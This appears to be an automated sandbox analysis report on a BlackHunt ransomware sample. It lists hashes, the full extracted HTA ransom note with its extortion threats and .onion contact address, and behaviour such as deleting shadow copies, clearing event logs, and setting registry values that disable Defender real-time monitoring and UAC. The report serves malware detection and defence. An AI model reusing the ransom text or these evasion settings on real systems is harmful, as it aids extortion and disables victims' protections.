d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1

Analysis

max time kernel
117s
max time network
120s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:04

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General

Target

d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
Size

707KB
MD5

161219d182594610d8803dc06f8d2491
SHA1

3a523d48c332b3f52dce56abcdb06c3b9b6128ac
SHA256

d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1
SHA512

873f3f17b69b01ca9e4022382ad048551b34491286da90c05a54608b8877fc77eff3e3587a17296fdb0adc5c4f5b4ce87a1d16a7f8083ca39250ba5db44069bb
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1S8kvnh:6uaTmkZJ+naie5OTamgEoKxLWJah

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\MSOCache\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> kfJLIgMTkuY1bgtb </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
2432	fsutil.exe
792	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
2368	wevtutil.exe
3660	wevtutil.exe
3764	wevtutil.exe
2464	wevtutil.exe
352	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1840	bcdedit.exe
1664	bcdedit.exe
1480	bcdedit.exe
2940	bcdedit.exe

Renames multiple (2876) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2080	wbadmin.exe
1912	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2880	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\G:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\H:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\L:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\V:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\J:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\M:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\K:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\I:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\P:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\B:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\X:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\A:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\S:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\Z:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Q:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\U:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\N:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\E:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\Y:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened (read-only)	\??\O:	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\7-Zip\Lang\uk.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+7	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.servlet_1.1.500.v20140318-1755.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-progress-ui.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\LC_MESSAGES\#BlackHunt_Private.key	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Mahe	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ka\LC_MESSAGES\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\Java\jre7\lib\zi\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\El_Salvador	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\locale\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-util-lookup_zh_CN.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\locale\brx\LC_MESSAGES\#BlackHunt_ReadMe.hta	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Luxembourg	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jre7\LICENSE	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File created	C:\Program Files\VideoLAN\VLC\lua\intf\#BlackHunt_ReadMe.txt	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\browse.xml	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-dialogs.jar	d7bd567452882bfdb7cccaa7a13dfb4dfe57ca3dfe24b59038228b501ad0fed1.exe
